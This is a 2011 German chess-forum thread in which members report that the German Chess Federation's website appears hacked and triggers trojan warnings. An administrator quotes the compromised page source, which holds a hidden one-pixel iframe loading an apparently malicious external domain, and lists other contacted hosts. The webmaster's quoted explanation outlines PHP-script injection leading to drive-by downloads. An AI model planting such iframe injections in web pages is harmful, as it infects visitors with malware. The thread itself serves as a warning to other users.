Schachbund.de

Neues, Interessantes, Lustiges & Skurriles aus der Welt des Schachs.

Schachbund.de

Beitragvon ghp » Fr 11. Feb 2011, 08:27

...ist vermutlich irgendwie "gehackt". Zumindest funktioniert die Seite bei mir nicht mehr und es soll der mediaplayer gestartet werden. Ich bekomme dann eine Trojanerwarnung.
ghp
Schachfan
 
Beiträge: 77
Registriert: Fr 12. Mär 2010, 10:00

Re: Schachbund.de

Beitragvon LowScore » Fr 11. Feb 2011, 08:51

Ganz klar gehackt...der Seitenquelltext ist jetzt
Code: Alles auswählen
{PROJECT}/template/normal.ini
{TITEL}Deutscher Schachbund - Aktuelle Nachrichten
{SCRIPT}/news/index.php
{CONTENT}<html><body><iframe src="http://axstat.com/" width="1" height="1" frameborder="0"></iframe></body></html>

Und die Seite sucht neben einem Medienplayer noch weitere Programme auf dem heimischen PC, um Sachen anzuzeigen. Außerdem wird unter anderem eine Verbindung mit folgenden Seiten aufgebaut:
Code: Alles auswählen
http://axstat.com/
http://www.lendingtree.com/
http://aline77nmw.co.cc/

Am besten die Seite bis auf weiteres meiden....ein Trojaner pflanzt sich im Netz schnell fort!

EDIT: Inzwischen geht die Seite wieder einwandfrei. :)
Spiel die Eröffnung wie ein Buch, das Mittelspiel wie ein Magier und das Endspiel wie eine Maschine. - Rudolf Spielmann
Benutzeravatar
LowScore
Administrator
 
Beiträge: 323
Registriert: Do 18. Dez 2008, 02:24
Wertungszahl: DWZ 1750 / ELO 1950

Re: Schachbund.de

Beitragvon Andrzej » Sa 12. Feb 2011, 01:05

ist mir auch aufgefallen.
aber wer hackt den schon den schachbund?!
War bestimmt son Schachpieler und Informatiker :D
"We are more often treacherous through weakness than through calculation." (Francois De La Rochefoucauld)

"To learn something new, take the path that you took yesterday." (John Burroughs)
Benutzeravatar
Andrzej
Schachexperte
 
Beiträge: 214
Registriert: Di 25. Aug 2009, 14:02
Wohnort: Rheinland-Westfalen
Wertungszahl: Nicht nur irgendeine!

Re: Schachbund.de

Beitragvon elvis » Sa 12. Feb 2011, 03:25

Das hat nix mit Schach zu tun ... das ging nur darum, einen Trojaner unters Volk zu bringen. Egal unter welches Volk.
Frank Hoppe (Webmaster von Schachbund.de) hat das erst neulich erklärt:
Frank Hoppe hat geschrieben:In den Logfiles finden sich zu Hunderten solche Angriffe. Da wird versucht, vor allen Dingen populäre PHP-Skripte mit Parametern zu bombardieren. Hier liegt in der Regel der Quellcode offen und meistens veröffentlichen die Hersteller auch noch die Schwachpunkte ihrer Skripte, wenn sie einen Bugfix liefern. Die Skriptkiddies lesen das und suchen nun im Internet genau nach diesen Skripten. Dann beginnt der Angriff und eine Datei mit PHP-Code wird auf dem Server eingeschleust. Danach ruft der Angreifer die eingeschleuste Datei auf und hat Vollzugriff auf das System. Er könnte nun z.B. alles löschen oder Dateien modifizieren. Meistens ist der hinzugefügte Code ein eingebettetes Frame, welches zu einer Fremddomain verlinkt, von der ein Virus oder Trojaner nachgeladen wird, der sich im schlimmsten Fall im System des Besuchers einnistet.
Benutzeravatar
elvis
Schachprofi
 
Beiträge: 736
Registriert: Fr 19. Dez 2008, 11:42


Zurück zu Schachwelt

Wer ist online?

Mitglieder in diesem Forum: 0 Mitglieder und 2 Gäste